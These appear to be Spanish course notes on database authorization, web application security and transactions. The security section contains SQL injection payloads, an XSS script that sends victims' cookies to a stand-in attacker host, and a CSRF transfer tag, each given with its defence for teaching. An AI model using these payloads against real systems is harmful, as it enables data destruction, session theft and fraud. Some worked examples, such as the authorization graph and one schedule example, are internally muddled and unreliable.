Si el usuario U1 recibe un privilegio y se lo otorga a U2, cuando revocamos el privilegio a U1, ¿qué pasa con U2? En SQL, por defecto ocurre una REVOCACIÓN EN CASCADA: U2 también pierde el privilegio.

Esto se visualiza con el Grafo de Autorización:

- Nodos: usuarios (DBA en la raíz)
- Aristas: si U1 concede a U2, hay una arista de U1 a U2
- Un usuario tiene el privilegio si y solo si hay un camino desde el DBA hasta él

Ejemplo de cascada: DBA → U1 → U4, y DBA → U2 → U5, y U1 → U5. Si el DBA revoca a U1, se elimina la arista DBA→U1, y como no hay camino desde el DBA hasta U4, U4 también pierde el privilegio. Pero U5 sigue teniendo el privilegio porque aún existe el camino DBA→U2→U5.

> ⚠ **PROBLEMA: ¿Qué pasa cuando el decano se jubila?**
> Si Satoshi (decano) concedió el rol 'instructor' a Amit, y luego se revoca el rol 'decano' a Satoshi, la revocación en cascada haría que Amit también perdiera el rol. Para evitar esto, SQL permite que el privilegio sea otorgado POR EL ROL (no por la persona): GRANT instructor TO Amit GRANTED BY CURRENT_ROLE. Así el privilegio 'pertenece' al rol, no a Satoshi.

```
-- Solución: conceder en nombre del rol actual, no del usuario
SET ROLE dean;  -- establecer rol activo
GRANT instructor TO Amit GRANTED BY CURRENT_ROLE;
-- Ahora aunque se revoque el rol 'dean' a Satoshi, Amit mantiene 'instructor'
```

2.3 Roles — Gestión eficiente de permisos

¿Por qué usar roles?

Imagina que tienes 100 profesores en la universidad y cada uno necesita 10 permisos. Asignar 1000 permisos individualmente es imposible. Además, cuando llega un profesor nuevo, habría que repetir los 10 permisos. Los ROLES solucionan esto.

Un rol es un 'conjunto de privilegios con nombre' que se puede asignar a múltiples usuarios. Cuando el usuario se conecta, hereda todos los privilegios de sus roles.

```
-- Crear roles:
CREATE ROLE profesor;
CREATE ROLE decano;
CREATE ROLE estudiante;

-- Conceder privilegios al rol (una sola vez):
GRANT SELECT ON matricula TO profesor;
GRANT UPDATE (sueldo) ON profesor TO decano;

-- Asignar roles a usuarios:
```

```
GRANT profesor TO Ana, Carlos, Pedro;  -- Ana, Carlos y Pedro son ahora
profesores
GRANT decano TO Satoshi;               -- Satoshi es decano

-- Los roles pueden heredar de otros roles:
GRANT profesor TO decano;  -- el decano hereda todos los privilegios de profesor
```

La herencia de roles funciona así: si el rol 'decano' hereda de 'profesor', cualquier usuario con el rol 'decano' tiene automáticamente TODOS los privilegios de 'profesor' además de los propios de 'decano'.

2.4 Autorización sobre Vistas

Las vistas son una herramienta poderosa para la seguridad. Permiten mostrar solo una parte de los datos a ciertos usuarios.

```
-- Solo los profesores de Geología, sin ver el resto:
CREATE VIEW profesor_geologia AS
    SELECT * FROM profesor WHERE nombre_dept = 'Geología';

-- Conceder acceso a la vista (no a la tabla original):
GRANT SELECT ON profesor_geologia TO miembro_direccion;
-- miembro_direccion NUNCA puede ver datos de otros departamentos
```

> 📌 **REGLA DE VISTAS**
> El creador de una vista no obtiene automáticamente más privilegios de los que ya tiene. Si Ana puede solo hacer SELECT sobre 'profesor', entonces la vista que cree sobre 'profesor' solo tendrá SELECT, no UPDATE. No puedes 'escalar' privilegios a través de vistas.

Las funciones y procedimientos almacenados también se protegen con EXECUTE. Por defecto se ejecutan con los privilegios del creador. Con SQL SECURITY INVOKER se ejecutan con los privilegios del usuario que las llama:

```
-- Función que se ejecuta con privilegios de quien la llama (no del creador)
CREATE FUNCTION calcular_salario(emp_id INT)
RETURNS DECIMAL
SQL SECURITY INVOKER  -- hereda privilegios del invocador
AS ... ;
```

2.5 El privilegio REFERENCES — Para claves foráneas

Este privilegio es menos conocido pero importante: permite a un usuario declarar claves foráneas que apuntan a otra tabla. Se necesita porque crear una clave foránea restringe las operaciones en la tabla referenciada.

```
-- Necesario antes de poder hacer:
-- CREATE TABLE pedidos (... dept_id REFERENCES departamento(nombre_dept) ...);
GRANT REFERENCES (nombre_dept) ON departamento TO Mariano;
```

¿Por qué se necesita este permiso? Si Mariano crea una clave foránea desde su tabla 'pedidos' hacia 'departamento', nadie podrá borrar el departamento 'Geología' de la tabla departamento si hay pedidos que lo referencian. Por eso otros usuarios que manejan 'departamento' deben estar de acuerdo.

2.6 Seguridad de las Aplicaciones

¿Por qué SQL no es suficiente?

La autorización SQL solo controla qué usuarios de base de datos pueden hacer qué. Pero en una aplicación web moderna:

- Todos los usuarios acceden con el MISMO usuario de base de datos (el de la aplicación)
- La base de datos no sabe quién es el usuario final (Ana, Carlos, Pedro... son todos el mismo 'appuser' para la BD)
- SQL no puede hacer autorización a nivel de fila (que cada estudiante vea solo sus notas)

Por eso la seguridad de las aplicaciones debe gestionar amenazas adicionales. Las más importantes son:

2.6.1 Inyección SQL (SQL Injection)

Es el ataque más común y peligroso. Ocurre cuando la aplicación concatena directamente la entrada del usuario en una consulta SQL, permitiendo al atacante modificar la consulta.

EJEMPLO DE VULNERABILIDAD:

```
// CÓDIGO VULNERABLE (NUNCA hagas esto):
String consulta = "SELECT * FROM estudiante WHERE nombre LIKE '%" + nombre +
"%'";
// Si el usuario escribe: '; DROP TABLE estudiante; --
// La consulta resultante sería:
// SELECT * FROM estudiante WHERE nombre LIKE '%'; DROP TABLE estudiante; --%'
// ¡¡Esto BORRA la tabla estudiante!!'
```

EJEMPLO DE ATAQUE TÍPICO: El usuario escribe en lugar de su nombre: X' OR 'Y'='Y

```
// La consulta se convierte en:
SELECT * FROM profesor WHERE nombre = 'X' OR 'Y'='Y'
// Como 'Y'='Y' siempre es verdadero, devuelve TODOS los registros
```

SOLUCIÓN — PreparedStatement:

```
// CÓDIGO SEGURO (siempre usa PreparedStatement):
PreparedStatement pStmt = conn.prepareStatement(
    "SELECT * FROM estudiante WHERE nombre LIKE ?"
);
pStmt.setString(1, "%" + nombre + "%");  // JDBC escapa automáticamente los
caracteres especiales
// El atacante escribe: '; DROP TABLE estudiante; --
// JDBC lo convierte en: '%''; DROP TABLE estudiante; --%'
```

```
// La base de datos lo interpreta como una cadena de texto, no como código SQL ✅
```

🛡 DEFENSA CONTRA SQL INJECTION
SIEMPRE usa PreparedStatement cuando los valores vengan del usuario. Nunca concatenes directamente. Adicionalmente, valida que los valores de entrada sean del tipo esperado (si esperas un número, verifica que es un número).

2.6.2 Cross-Site Scripting (XSS)

XSS ocurre cuando una web permite que los usuarios introduzcan texto que luego se muestra a otros usuarios sin filtrar. Un atacante puede insertar código JavaScript malicioso.

EJEMPLO: Un foro permite comentarios. El atacante escribe como comentario:

```
<script>
  document.location = 'http://atacante.com/steal?cookie=' + document.cookie
</script>
// Cuando otro usuario ve ese comentario, su navegador ejecuta este script
// y envía su cookie de sesión al atacante
```

También existe el ataque XSRF/CSRF (Cross-Site Request Forgery): engañar al navegador para que realice una acción en un sitio donde el usuario está autenticado:

```
<!-- El atacante pone esto en su web o en un email malicioso: -->
<img src="http://mibanco.com/transferir?cantidad=1000&destino=atacante">
<!-- Cuando la víctima visita la web del atacante, su navegador ejecuta esa URL
     automáticamente como si fuera la víctima quien la pidió -->
```

Tipo de ataque	Cómo ocurre	Defensa principal
SQL Injection	Se inserta código SQL en campos de texto	PreparedStatement siempre
XSS	Se inserta JavaScript en contenido que ven otros usuarios	Escapar/filtrar HTML del input usuario
CSRF	Se engaña al navegador para hacer peticiones no deseadas	Tokens CSRF, verificar Referer HTTP, nunca GET para actualizaciones

- Defensa XSS: Eliminar o escapar todas las etiquetas HTML del input del usuario antes de mostrarlo
- Defensa CSRF: Verificar la cabecera HTTP Referer, usar tokens CSRF, NUNCA usar GET para operaciones que modifiquen datos
- Defensa adicional: Restringir sesiones a la dirección IP original

2.6.3 Autenticación

La autenticación verifica quien eres antes de darte acceso. Las contraseñas solas son insuficientes.

Método	Descripción	Ejemplo
Contraseña simple	Un solo factor (lo que sabes)	Login básico con usuario/contraseña
2FA (Dos factores)	Dos factores independientes	Contraseña + código SMS o app
LDAP central	Autenticación centralizada en un servidor	Login único para todas las apps de empresa
SSO (Single Sign-On)	Un login vale para múltiples aplicaciones	Inicias sesión una vez y accedes a todo
SAML	SSO entre organizaciones distintas	Login de Yale válido en otra universidad
OpenID	SSO con proveedores externos	Iniciar sesión con Google/Microsoft/Yahoo

AUTENTICACIÓN DE DOS FACTORES (2FA)
Los dos factores deben ser INDEPENDIENTES y de diferente naturaleza: 1) Algo que SABES (contraseña), 2) Algo que TIENES (teléfono con SMS/app, token USB) o 3) Algo que ERES (huella dactilar, iris). Si ambos factores comparten una vulnerabilidad (ambos están en el mismo dispositivo), la 2FA no añade seguridad real.

2.6.4 Autorización a nivel de aplicación

Como SQL no puede hacer autorización por tupla (que cada estudiante vea solo sus notas), la lógica de autorización se implementa en la aplicación. Esto tiene problemas:

- El código de autorización se mezcla con la lógica de negocio
- Es difícil verificar que TODAS las rutas de código comprueban autorización
- Un olvido en un lugar puede exponer datos a usuarios no autorizados

Las alternativas para autorización de grano fino son:

- Vistas dinámicas: CREATE VIEW mis_notas AS SELECT * FROM matricula WHERE ID = syscontext.user_id()
- Virtual Private Database (VPD de Oracle): el administrador asocia una función a una tabla que añade automáticamente un predicado WHERE a todas las consultas

```
-- Ejemplo de VPD: la función devuelve un predicado que se añade automáticamente
-- Cuando cualquier usuario consulta 'matricula', el sistema añade:
-- WHERE ID = syscontext.user_id()
-- Así cada estudiante solo ve sus propias notas sin que el programador tenga que
recordarlo
```

RIESGO SEMÁNTICO DE VPD

Si un estudiante hace SELECT AVG(nota) FROM matricula, con VPD obtendría el promedio de SUS notas, no el de todos. Esto puede ser sorprendente si el usuario no sabe que hay un filtro aplicado. Hay que documentarlo bien.

2.6.5 Pistas de Auditoría (Audit Trails)

Una pista de auditoría es un registro de TODOS los cambios en la base de datos: quién los hizo, cuándo y desde dónde. Es fundamental para:

- Detectar cuentas comprometidas (accesos inusuales)
- Recuperarse de actualizaciones erróneas (saber qué cambió y revertirlo)
- Investigar incidentes de seguridad

Las pistas de auditoría se pueden implementar con disparadores (triggers) o con mecanismos nativos del SGBD. Es CRÍTICO almacenarlas en una máquina separada o en almacenamiento de solo escritura, para que un atacante que comprometa el servidor principal no pueda borrar las evidencias.

2.6.6 Privacidad de datos

Las aplicaciones que manejan datos personales deben cumplir con leyes de privacidad (GDPR en Europa, LOPD en España). Un riesgo importante es la reidentificación: aunque ocultes el nombre, la combinación de otros datos puede identificar a una persona.

Ejemplo: Código postal + fecha de nacimiento puede identificar de forma única a casi cualquier persona. Para proteger la privacidad en datos agregados:

- Proporcionar rangos en lugar de valores exactos (año de nacimiento en lugar de fecha completa)
- Agregar ruido estadístico a los datos
- K-anonimato: garantizar que cada registro sea indistinguible de al menos k-1 otros

2.7 Resumen del Tema 2

Concepto	Qué es	Comando/Técnica
Privilegio	Permiso para hacer una acción sobre un objeto	GRANT / REVOKE
Rol	Conjunto de privilegios con nombre asignable a usuarios	CREATE ROLE, GRANT role TO user
Grant Option	Permite al receptor transmitir el privilegio a otros	WITH GRANT OPTION
Cascada de revocación	Revocar a U1 puede revocar a usuarios que recibieron de U1	REVOKE ... CASCADE (default)
SQL Injection	Insertar código SQL en campos de usuario	PreparedStatement, validación
XSS	Insertar JavaScript malicioso en contenido	Escapar HTML, filtrar input

Concepto	Qué es	Comando/Técnica
CSRF	Hacer peticiones no autorizadas desde otro sitio	Tokens CSRF, verificar Referer
2FA	Autenticación con dos factores independientes	Contraseña + SMS/token
SSO	Un login para múltiples aplicaciones	LDAP, SAML, OpenID
VPD	Filtrado automático a nivel de fila	Función que añade predicado WHERE
Audit Trail	Registro de todos los cambios	Triggers o mecanismos del SGBD

2.8 El Grafo de Autorización — Cómo fluyen los privilegios

El grafo de autorización es una representación visual de cómo se han concedido los privilegios en el sistema. Permite determinar si un usuario tiene o no un privilegio y qué ocurre al revocar.

- Nodos: los usuarios del sistema. La RAÍZ es el DBA (Database Administrator).
- Aristas dirigidas: si el usuario Ui concedió el privilegio P al usuario Uj, hay un arco Ui → Uj.
- Un usuario tiene el privilegio P si y solo si existe un CAMINO desde la raíz (DBA) hasta ese usuario en el grafo de P.

```
Ejemplo de grafo de autorización para el privilegio SELECT sobre 'instructor':

        DBA (raíz)
       /    |    \
      /     |     \
    U1      U2     U3
   (WGO)   (WGO)    |
    / \     |      /
   U4  U5   U6   U3 (no WGO)
        \
         U6  ← U5 también le concedió a U6

--- Revocar SELECT a U1 ---
  Se elimina el arco DBA→U1.
  ¿Quién pierde acceso?
    • U1: SÍ pierde (su arco desde DBA desaparece)
    • U4: SÍ pierde (único camino era DBA→U1→U4)
    • U5: SÍ pierde (único camino era DBA→U1→U5)
    • U6: NO pierde — tiene otro camino: DBA→U2→U6
           (U5 también se lo concedió, pero U5 perdió el privilegio...)
           PERO U2 también se lo concedió a U6 directamente → U6 mantiene acceso

REGLA CLAVE: Un usuario PIERDE el privilegio cuando su único camino
desde la raíz pasaba por el usuario revocado.
```

EJERCICIO del Profesor: Análisis del Grafo de Autorización

El DBA concede SELECT sobre 'nómina' a U1 (WITH GRANT OPTION) y a U2 (WITH GRANT OPTION).
U1 concede SELECT a U3 (WITH GRANT OPTION). U3 concede SELECT a U5.
U2 concede SELECT a U4 (WITH GRANT OPTION). U4 concede SELECT a U5.
a) Dibuja el grafo de autorización.
b) Si se revoca SELECT a U1, ¿quién pierde acceso y quién lo mantiene?
c) Si además se revoca SELECT a U2, ¿qué ocurre ahora con U5?

✅ **SOLUCIÓN:**

a) GRAFO DE AUTORIZACIÓN:
DBA → U1 (WGO) → U3 (WGO) → U5
DBA → U2 (WGO) → U4 (WGO) → U5

b) REVOCAR SELECT a U1:
Se elimina arco DBA→U1.
• U1 pierde acceso (no hay camino desde DBA hasta U1)
• U3 pierde acceso (único camino: DBA→U1→U3, ya no existe)
• U5 MANTIENE acceso: tiene otro camino DBA→U2→U4→U5 (sigue válido)

c) REVOCAR también SELECT a U2 (además de ya haber revocado U1):
Se elimina arco DBA→U2.
• U2 pierde acceso.
• U4 pierde acceso (único camino era DBA→U2→U4, ya no existe).
• U5 AHORA pierde acceso: el último camino válido (DBA→U2→U4→U5) también desapareció.
Resultado: U1, U2, U3, U4 y U5 todos pierden el acceso.

2.9 Autorización sobre Vistas y Funciones

Las VISTAS permiten crear 'ventanas' a los datos: un usuario puede tener acceso a una vista sin tener acceso a la tabla base. Es una herramienta poderosa para limitar la visibilidad de datos sensibles.

```
-- Ejemplo: la tabla 'instructor' tiene columnas ID, nombre, dept, sueldo
-- No queremos que todos los usuarios vean el sueldo
-- Creamos una vista que oculta esa columna:

CREATE VIEW instructor_publico AS
    SELECT ID, nombre, dept_name  -- sueldo NO incluido
    FROM instructor;

-- Ahora concedemos acceso a la vista, no a la tabla base:
GRANT SELECT ON instructor_publico TO usuario_externo;
-- usuario_externo puede consultar la vista pero NUNCA ve la columna sueldo

-- Tambien podemos limitar las filas (solo ver el propio departamento):
CREATE VIEW instructores_mi_dept AS
    SELECT * FROM instructor
    WHERE dept_name = SYS_CONTEXT('USERENV', 'SESSION_USER');
    -- cada usuario ve solo los instructores de SU departamento
```

IMPORTANTE sobre la creacion de vistas y los privilegios resultantes:

- El creador de una vista NO recibe automaticamente TODOS los privilegios sobre ella.
- Solo recibe los privilegios sobre la vista que no le dan autorizacion ADICIONAL sobre la tabla base.
- Si un usuario intenta crear una vista sobre la que no se le puede conceder ningun privilegio, el sistema rechaza la creacion.

```
-- Si Amit tiene SELECT (sin GRANT OPTION) sobre instructor:
CREATE VIEW instructores_fisica AS
    SELECT * FROM instructor WHERE dept_name = 'Physics';
-- Amit puede crear la vista, y tiene SELECT sobre ella
-- PERO no puede hacer GRANT SELECT de la vista a otros
-- (porque no tiene WITH GRANT OPTION sobre la tabla base)

-- Las funciones/procedimientos se ejecutan con los privilegios del CREADOR por
defecto:
CREATE FUNCTION get_sueldo(emp_id INT) RETURNS DECIMAL
LANGUAGE SQL
-- Si Amit crea esta funcion, cuando Carlos la llama, se ejecuta con permisos de
AMIT
-- Carlos puede llamar a la funcion aunque no tenga SELECT sobre 'instructor'

-- Para ejecutar con los privilegios del INVOCADOR en lugar del creador:
CREATE FUNCTION get_sueldo_seguro(emp_id INT) RETURNS DECIMAL
SQL SECURITY INVOKER  -- <-- esta clausula cambia el comportamiento
LANGUAGE SQL
-- Ahora Carlos necesita tener el SELECT sobre 'instructor' el para que funcione
```

DIFERENCIA CLAVE: SQL SECURITY DEFINER vs INVOKER
Por defecto (DEFINER): la funcion se ejecuta con los privilegios de quien la creo. Con INVOKER: se ejecuta con los privilegios de quien la llama. INVOKER es mas seguro pero requiere que el invocador tenga los permisos necesarios sobre las tablas base.

2.10 Autorizacion sobre Esquemas — Quien puede modificar la estructura

La autorización sobre ESQUEMAS (la estructura de la BD: tablas, atributos, índices) es diferente a la autorización sobre datos:

- Solo el PROPIETARIO del esquema puede crear o borrar tablas, añadir o eliminar atributos, crear índices.
- Los privilegios SELECT/INSERT/UPDATE/DELETE son sobre DATOS (filas) dentro de las tablas.
- La autorización de esquema NO se puede delegar mediante GRANT (solo el propietario puede modificar el esquema).

```
-- Ejemplo: el usuario 'admin_bd' es dueño del esquema 'universidad'
-- Solo 'admin_bd' puede hacer:
CREATE TABLE universidad.nueva_tabla (...);
ALTER TABLE universidad.instructor ADD COLUMN email VARCHAR(100);
DROP TABLE universidad.estadisticas_antiguas;

-- 'admin_bd' puede conceder acceso a DATOS:
```

```
GRANT SELECT ON universidad.instructor TO profesor_invitado;
-- Pero 'profesor_invitado' NUNCA puede modificar la estructura de las tablas
```

TEMA 3: TRANSACCIONES

3.1 ¿Qué es una transacción y por qué es necesaria?

Una TRANSACCIÓN es una unidad lógica de trabajo compuesta por una o más operaciones sobre la base de datos, que debe ejecutarse de forma completa o no ejecutarse en absoluto.

El ejemplo clásico es una transferencia bancaria de 50€ de la cuenta A a la cuenta B:

```
T_transferencia:
    leer(A);         // leo el saldo de A
    A := A - 50;    // resto 50 a A
    escribir(A);     // guardo el nuevo saldo de A
    leer(B);         // leo el saldo de B
    B := B + 50;    // sumo 50 a B
    escribir(B);     // guardo el nuevo saldo de B
```

¿Qué ocurre si el sistema falla después de escribir A pero antes de escribir B? A tiene 50€ menos, B no tiene 50€ más: ¡hemos creado inconsistencia! Se han 'perdido' 50€ del sistema.

ESENCIA DE LAS TRANSACCIONES
Las transacciones son la respuesta de los SGBD a dos problemas fundamentales: (1) Los fallos del sistema pueden interrumpir operaciones a medias, y (2) la ejecución concurrente de múltiples usuarios puede generar interferencias. Las transacciones garantizan que estos problemas no corrompan los datos.

3.2 Las Propiedades ACID

Todo sistema de gestión de bases de datos garantiza cuatro propiedades para las transacciones, conocidas por el acrónimo ACID:

Propiedad	Nombre	Significado	Responsable
A	Atomicidad (Atomicity)	TODO o NADA. Si falla alguna operación, se deshacen todas. No hay 'a medias'.	Sistema de recuperación
C	Consistencia (Consistency)	La transacción lleva la BD de un estado consistente a otro consistente. Respeta todas las restricciones.	El programador
I	Aislamiento (Isolation)	Cada transacción es independiente de las demás. No ven los estados intermedios de otras.	Control de concurrencia

Propiedad	Nombre	Significado	Responsable
D	Durabilidad (Durability)	Una transacción confirmada (commit) persiste aunque el sistema falle después.	Sistema de recuperación

Detalle de cada propiedad con el ejemplo bancario

Atomicidad

Aplicada al ejemplo: Si falla el sistema después de escribir A pero antes de escribir B, el sistema debe DESHACER el cambio en A. El resultado es como si la transacción nunca hubiera ocurrido. Se implementa con el LOG (registro histórico).

Consistencia

En la transferencia, la invariante es: A + B debe ser igual antes y después. Si antes A=1000 y B=2000, después debe ser A=950 y B=2050 (total=3000 en ambos casos). Esta responsabilidad es del PROGRAMADOR al diseñar la transacción.

Aislamiento

Si otra transacción T2 está calculando el total A+B mientras T1 está transfiriendo, puede ver A=950 pero B=2000 (antes de que B se actualice), obteniendo un total incorrecto de 2950. El aislamiento evita esto.

Durabilidad

Una vez que T1 hace commit y el sistema confirma al usuario 'transferencia realizada', esa transferencia no puede perderse aunque el servidor se reinicie inmediatamente. Se implementa escribiendo en almacenamiento estable.

3.2b Estructura de Almacenamiento — Volatil, No Volatil y Estable

Para entender como se garantiza la atomicidad y la durabilidad, hay que conocer los tipos de almacenamiento:

Tipo	Sobrevive a caidas	Velocidad	Ejemplos	Uso en transacciones
VOLATIL	NO: se pierde al caer el sistema o apagar	Muy rapido (nanosegundos)	RAM, cache de CPU	Area de trabajo temporal de las transacciones
NO VOLATIL	SI: sobrevive a caidas del sistema	Lento (milisegundos)	Disco magnetico, SSD, DVD, cintas	Almacenamiento permanente de la BD
ESTABLE (ideal)	NUNCA se pierde (imposible en la practica)	Depende de la implementacion	Aproximado con RAID, copias en lugares remotos	Donde se guarda el LOG de transacciones

El almacenamiento ESTABLE se aproxima en la practica replicando los datos en VARIOS medios no volatiles con modos de fallo independientes. Si un disco falla, los datos estan en el otro:

```
Protocolo de escritura en almacenamiento estable (2 copias):
  1. Escribir la informacion en el PRIMER bloque fisico
  2. Escribir la informacion en el SEGUNDO bloque fisico
  3. La escritura solo se considera COMPLETA despues de que la segunda termine
bien

  Recuperacion si hubo un fallo durante la escritura:
  - Si ambos bloques son iguales y sin error -> todo bien, nada que hacer
  - Si un bloque tiene error -> reemplazar su contenido con el del otro bloque
  - Si los contenidos son distintos pero sin errores -> el primer bloque gano
    (el sistema sustituye el segundo por el primero)

  Por que funciona: la probabilidad de que ambos discos fallen SIMULTANEAMENTE
  es extremadamente baja. Si uno falla, el otro preserva los datos.
```

POR QUE SE NECESITA EL ALMACENAMIENTO ESTABLE
Para que una transaccion sea DURABLE: sus cambios deben escribirse en almacenamiento estable. Para que sea ATOMICA: el LOG debe escribirse en almacenamiento estable ANTES de que los datos se modifiquen en disco (principio WAL: Write-Ahead Logging).

3.3 Estados de una transacción

Una transacción pasa por los siguientes estados:

Estado	Descripción	Cuándo se llega
Activa	Ejecutando instrucciones normalmente	Estado inicial (begin transaction)
Parcialmente comprometida	Ejecutó su última instrucción, pendiente de confirmar	Después de la última operación
Comprometida (Committed)	Finalizada con éxito, cambios permanentes	Cuando el registro commit se escribe en disco estable
Fallida	No puede continuar ejecución normal	Error lógico o del sistema
Abortada	Revertida completamente, BD restaurada	Después del rollback completo

El flujo es: Activa → Parcialmente Comprometida → Comprometida (si todo va bien), o Activa → Fallida → Abortada (si hay error).

CUÁNDO ESTÁ REALMENTE COMPROMETIDA

Una transacción no está comprometida cuando ejecuta su última instrucción (estado 'parcialmente comprometida'), sino cuando el registro <Ti commit> se ha escrito físicamente en almacenamiento estable (disco). Solo entonces es definitiva e irrevocable.

3.4 El Modelo Simple: leer() y escribir()

Para analizar las transacciones, simplificamos a dos operaciones básicas:

- leer(X): Copia el valor del elemento de datos X del disco a una variable local de la transacción
- escribir(X): Copia el valor de la variable local de la transacción al elemento X en disco

IMPORTANTE: La operación escribir(X) no necesariamente escribe inmediatamente en el disco físico. Puede quedar en el buffer (memoria intermedia). Si el sistema falla después de escribir pero antes de que el buffer se vuelque al disco, se pierde el dato. El sistema de recuperación debe manejar este caso.

3.5 Ejecución Concurrente de Transacciones

¿Por qué concurrencia?

Los sistemas reales tienen múltiples usuarios simultáneos. Ejecutar todas las transacciones en serie (una tras otra) sería demasiado lento. La concurrencia permite mayor rendimiento pero introduce nuevos desafíos.

Ventaja	Explicación
Mayor rendimiento (throughput)	Mientras una transacción espera E/S de disco, otra puede usar la CPU en paralelo
Menor tiempo de espera	Las transacciones cortas no esperan a que terminen las largas
Mejor uso de recursos	CPU y disco funcionan en paralelo, sin estar idle

El problema: planificaciones inconsistentes

Una PLANIFICACIÓN es el orden cronológico en que se ejecutan las instrucciones de múltiples transacciones. No todas las planificaciones producen resultados correctos.

Ejemplo con T1 (transfiere 50€ de A a B) y T2 (calcula 10% de A y transfiérelo a B):

```
T1:  leer(A)  →  A:=A-50  →  escribir(A)  →  leer(B)  →  B:=B+50  →  escribir(B)
T2:  leer(A)  →  temp:=A*0.1  →  A:=A-temp  →  escribir(A)  →  leer(B)  →
B:=B+temp  →  escribir(B)

PLANIFICACIÓN CORRECTA (secuencial T1 luego T2):
  T1: leer(A)  A=1000→950  escribir(A)  leer(B)  B=2000→2050  escribir(B)
  T2: leer(A)  A=950→855   escribir(A)  leer(B)  B=2050→2145  escribir(B)
  RESULTADO FINAL: A=855, B=2145 ✅ (suma = 3000, conservada)
```

```
PLANIFICACIÓN INCORRECTA (entrelazado mal):
  T1: leer(A)  A=1000→950  escribir(A)
  T2: leer(A)  A=950→855   escribir(A)  leer(B)  B=2000→2095  escribir(B)
  T1:                                   leer(B)  B=2095→2145  escribir(B)
  RESULTADO FINAL: A=855, B=2145... ¡pero T2 leyó el A ya modificado por T1! ✅
correcto por casualidad

  OTRO ENTRELAZADO MAL:
  T1: leer(A) A=1000→950 escribir(A) leer(B)
  T2: leer(A) temp=95 A=1000-95=905 escribir(A) leer(B) B=2000+95=2095
escribir(B)
  T1: B=2095+50=2145 escribir(B)
  RESULTADO: A=905, B=2145 → suma=3050 ≠ 3000 ❌ ¡SE CREARON 50€!
```

3.6 Serializabilidad — ¿Cuándo es correcta una planificación?

Una planificación es CORRECTA (serializable) si produce el mismo resultado que alguna ejecución secuencial de las mismas transacciones.

> **🎯 DEFINICIÓN CLAVE**
> Una planificación es SERIALIZABLE EN CUANTO A CONFLICTOS si se puede transformar en una planificación secuencial mediante una serie de intercambios de instrucciones no conflictivas. Esto garantiza que el resultado es equivalente al de alguna ejecución serie.

3.6.1 Instrucciones en Conflicto

Dos instrucciones I y J de transacciones DISTINTAS que acceden al MISMO elemento de datos están EN CONFLICTO si al menos una de ellas es una escritura:

Caso	¿Conflicto?	¿Por qué?
Leer(Q) y Leer(Q)	NO	El orden no importa, ambas solo leen el mismo valor
Leer(Q) y Escribir(Q)	SÍ	Si se cambia el orden, la lectura obtiene un valor diferente
Escribir(Q) y Leer(Q)	SÍ	Si se cambia el orden, la lectura obtiene un valor diferente
Escribir(Q) y Escribir(Q)	SÍ	El orden determina qué valor queda finalmente en Q

Si dos instrucciones consecutivas NO están en conflicto (son de transacciones distintas y no acceden al mismo dato o solo leen), podemos intercambiarlas sin cambiar el resultado.

3.6.2 El Grafo de Precedencia — Detectar serializabilidad

El GRAFO DE PRECEDENCIA permite determinar si una planificación es serializable en cuanto a conflictos. Se construye así:

- Nodos: una por cada transacción (T1, T2, T3...)
- Aristas: se dibuja un arco Ti → Tj si existe una instrucción de Ti que está en conflicto con una de Tj y la de Ti va ANTES

Específicamente, hay arco Ti → Tj cuando:

6. Ti escribe(Q) antes de que Tj lea(Q)
7. Ti lee(Q) antes de que Tj escriba(Q)
8. Ti escribe(Q) antes de que Tj escriba(Q)

REGLA DE ORO DEL GRAFO DE PRECEDENCIA
Una planificación es serializable en cuanto a conflictos SI Y SOLO SI su grafo de precedencia NO tiene ciclos. Si hay un ciclo, la planificación NO es serializable y puede producir resultados incorrectos.

El orden de serialización se obtiene haciendo un ORDENAMIENTO TOPOLÓGICO del grafo (ordenar los nodos respetando la dirección de las aristas).

EJERCICIO 1 del Profesor: Grafo de Precedencia

Considera la siguiente planificación:
T1: leer(X) escribir(X) leer(B) escribir(B)
T2: leer(Y) leer(X) escribir(Y) escribir(X)
(ejecutadas concurrentemente en el orden: T1:leer(X), T2:leer(Y), T1:escribir(X), T2:leer(X), T1:leer(B), T2:escribir(Y), T1:escribir(B), T2:escribir(X))
a) Identifica todos los conflictos.
b) Construye el grafo de precedencia.
c) ¿Es serializable en cuanto a conflictos?

SOLUCIÓN:
a) CONFLICTOS (acceso al mismo dato, al menos una escritura, transacciones distintas):
• T1:escribir(X) vs T2:leer(X) → conflicto sobre X (T1 escribe antes de que T2 lea) → arco T1→T2
• T2:escribir(X) vs T1:escribir(X) → conflicto sobre X (T1 escribe antes de que T2 escriba) → arco T1→T2
• T1:escribir(B) vs nada de T2 → no hay conflicto (T2 no accede a B)
Nota: T1:leer(X) y T2:leer(X) NO son conflicto (ambas solo leen).

b) GRAFO DE PRECEDENCIA:
T1 ——→ T2 (hay arco de T1 a T2 por los conflictos encontrados)
No hay arco de T2 a T1.

c) El grafo NO tiene ciclos (solo hay T1→T2).
→ La planificación ES serializable en cuanto a conflictos.
→ Orden de serialización por topológico: T1, T2 (primero T1, luego T2).

3.7 Planificaciones Recuperables

El problema de las dependencias entre transacciones

Si T2 lee un dato escrito por T1, y T1 aún no ha hecho commit, ¿qué pasa si T1 falla? Hay que abortar T1, y por tanto también T2 (porque T2 leyó datos 'sucios' de T1 que ya no existen). Pero si T2 ya hizo commit... ¡no podemos deshacerla! Esto se llama planificación NO RECUPERABLE.

Tipo de Planificación	Definición	Propiedad
No recuperable	Tj hace commit ANTES de que Ti haga commit, y Tj leyó datos de Ti	PROBLEMA: Si Ti falla, no podemos deshacer Tj
Recuperable	Si Tj leyó datos de Ti, Tj no hace commit antes que Ti	El sistema puede hacer rollback en cascada si Ti falla
Sin cascada	Si Tj lee datos de Ti, Ti ya hizo commit ANTES de que Tj los lea	Ninguna transacción lee datos no confirmados → no hay rollback en cascada

PREFERENCIA
Los sistemas de bases de datos buscan planificaciones SIN CASCADA porque: (1) son siempre recuperables, (2) evitan el costoso rollback en cascada (donde el fallo de una transacción obliga a deshacer muchas otras que dependían de ella).

Retroceso en cascada — Un problema costoso

El retroceso en cascada ocurre cuando el fallo de una transacción obliga a retroceder otras que dependían de ella:

```
T8 escribe A → T9 lee A (depende de T8) → T10 lee A (depende de T9)
Si T8 falla:
  → Hay que retroceder T8
  → T9 leyó datos de T8 que ya no son válidos → hay que retroceder T9
  → T10 leyó datos de T9 que ya no son válidos → hay que retroceder T10
¡Todo el trabajo de T9 y T10 se pierde!
```

Para evitar el retroceso en cascada, se requiere que si Tj lee un dato escrito por Ti, el commit de Ti ocurra ANTES de que Tj lo lea (no solo antes de que Tj haga commit).

3.8 Niveles de Aislamiento SQL

